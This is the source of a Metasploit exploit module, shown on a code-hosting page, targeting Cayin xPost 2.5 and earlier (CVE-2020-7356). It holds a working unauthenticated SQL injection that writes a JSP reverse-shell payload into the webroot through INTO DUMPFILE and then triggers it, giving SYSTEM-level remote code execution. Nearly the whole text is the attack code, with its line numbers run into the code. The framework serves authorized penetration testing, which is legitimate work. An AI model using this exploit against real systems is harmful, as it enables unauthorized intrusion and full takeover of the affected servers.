Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/cayin_xpost_sql_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',16'Description' => %q{17This module exploits an unauthenticated SQLi in Cayin xPost <=2.5. The18wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected19with a blind SQLi. Since this app bundles MySQL and apache Tomcat the20environment is pretty static and therefore the default settings should21work. Results in SYSTEM level access.22Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads23seem to be valid.24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # msf module28'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery29],30'References' => [31[ 'EDB', '48558' ],32[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],33[ 'CVE', '2020-7356' ]34],35'Platform' => ['java', 'win'],36'Privileged' => true,37'Arch' => ARCH_JAVA,38'Targets' => [39[ 'Automatic Target', {}]40],41'DisclosureDate' => '2020-06-04',4243'DefaultOptions' => {44'PAYLOAD' => 'java/jsp_shell_reverse_tcp'45},46# meterpreter is too large for payload space47'Payload' => {48'Space' => 2000,49'DisableNops' => true50},51'DefaultTarget' => 0,52'Notes' => {53'Stability' => [CRASH_SAFE],54'Reliability' => [REPEATABLE_SESSION],55'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]56}57)58)59register_options(60[61Opt::RPORT(80),62OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),63OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location64OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])65]66)67end6869def check70res = send_request_cgi(71'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')72)7374if res.nil? || res.code != 20075return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')76end7778%r{// xPost v(?<version>[\d.]+) } =~ res.body7980if version && Rex::Version.new(version) <= Rex::Version.new('2.5')81print_good("Version Detected: #{version}")82return CheckCode::Appears83end8485# try a backup plan, at least verify the title86res = send_request_cgi(87'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')88)8990if res.nil? || res.code != 20091return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')9293end9495if res.body =~ %r{<title>xPost</title>}96vprint_good('HTML Title includes xPost')97return CheckCode::Detected98end99CheckCode::Safe100rescue ::Rex::ConnectionError101CheckCode::Safe('Could not connect to the web service, check URI Path and IP')102end103104def exploit105filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']106filename = "#{filename}.jsp" unless filename.end_with? '.jsp'107108vprint_status("Utilizing payload filename #{filename}")109vprint_status("Payload Size: #{payload.encoded.length}")110vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")111112payload_request = "-251' UNION ALL SELECT 0x"113payload_request << payload.encoded.unpack1('H*')114payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '115payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"116payload_request.gsub!(' ', '%20')117118vprint_status('Attempting Exploitation')119uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')120# use raw to prevent encoding of injection characters121res = send_request_raw(122'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"123)124125fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?126127if res.code == 400128fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")129end130131if res.code != 302132fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")133end134135register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")136137vprint_status('Triggering uploaded payload')138send_request_cgi(139'uri' => normalize_uri(target_uri.path, filename)140)141rescue ::Rex::ConnectionError142fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")143end144end145146147